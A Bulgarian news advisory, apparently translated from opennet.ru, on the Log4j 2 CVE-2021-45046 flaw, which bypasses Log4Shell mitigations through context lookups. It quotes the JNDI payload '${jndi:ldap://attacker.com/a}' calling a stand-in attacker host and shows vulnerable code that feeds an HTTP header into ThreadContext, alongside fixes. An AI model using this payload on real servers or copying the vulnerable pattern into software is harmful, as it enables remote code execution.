В библиотеката Log4j 2 е открита нова уязвимост (CVE-2021-45046) в реализацията на подстановките JNDI, която остава активна, въпреки добавените поправки в версия 2.15 и независимо от използването на настройката «log4j2.noFormatMsgLookup» за защита. Проблемът е особено сериозен за по-старите версии на Log4j 2, защитени чрез флага «noFormatMsgLookup», тъй като позволява заобикаляне на защитата от предишната уязвимост (Log4Shell, CVE-2021-44228), позволяваща изпълнението на потребителски код на сървъра. За потребителите на версия 2.15 експлоатацията е ограничена до създаване на условия за аварийно спиране на приложението поради изчерпване на наличните ресурси.
Уязвимостта се проявява само на системи, които използват контекстни заявки (Context Lookup) при логването, например ${ctx:loginId}, или шаблони на MDC (Thread Context Map), като %X, %mdc и %MDC. Експлоатацията се свежда до създаване на условия за записване в лог на данни, съдържащи подстановки JNDI, при използване на контекстни заявки или MDC-шаблони, които определят правилата за форматиране на логовите записи.
Изследователи от LunaSec отбелязаха, че за версиите на Log4j по-малки от 2.15, тази уязвимост може да се използва като нов вектор за атака Log4Shell, водещ до изпълнение на код, ако при логването се използват изрази на ThreadContext, в които попадат външни данни, независимо от включването на флага «noMsgFormatLookups» за защита или шаблона «%m{nolookups}».

Заобикалянето на защитата се заключава в това, че вместо директна подстановка «${jndi:ldap://attacker.com/a}», това изразяване се подменя чрез стойността на междинна променлива, използвана в правилата за форматиране на логовите записи. Например, ако при логването се използва контекстна заявка ${ctx:apiversion}, атаката може да бъде проведена чрез подмяна на данните «${jndi:ldap://attacker.com/a}» в стойността, записвана в променливата apiversion. Пример за уязвим код: appender.console.layout.pattern = ${ctx:apiversion} — %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L — %m%n @GetMapping(«/») public String index(@RequestHeader(«X-Api-Version») String apiVersion) { // Стойността на HTTP заглавката «X-Api-Version» се предава в ThreadContext ThreadContext.put(«apiversion», apiVersion); // При логването външната стойност apiversion ще бъде обработена чрез подстановка ${ctx:apiversion} logger.info(«Получена е заявка за API версия»); return «Hello, world!»; }
В версията Log4j 2.15 уязвимостта може да се използва за извършване на DoS атаки при предаване в ThreadContext стойности, водещи до зацикляне на обработката на шаблона за форматиране на изхода.

За блокиране на уязвимостта са публикувани актуализации 2.16 и 2.12.2. В клон Log4j 2.16, освен поправките в версия 2.15 и свързването на JNDI LDAP заявки към 'localhost', по подразбиране е напълно изключена функционалността на JNDI и е премахната поддръжката на шаблони за подмяна на съобщения. Като обходен път за защита се предлага да се премахне класът JndiLookup от classpath (например, 'zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class').
Можете да следите за появата на поправки в пакетите на страниците на дистрибуциите (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) и производителите на Java платформи (GitHub, Docker, Oracle, vmWare, Broadcom и Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure и т.н.).
Източник: opennet.ru
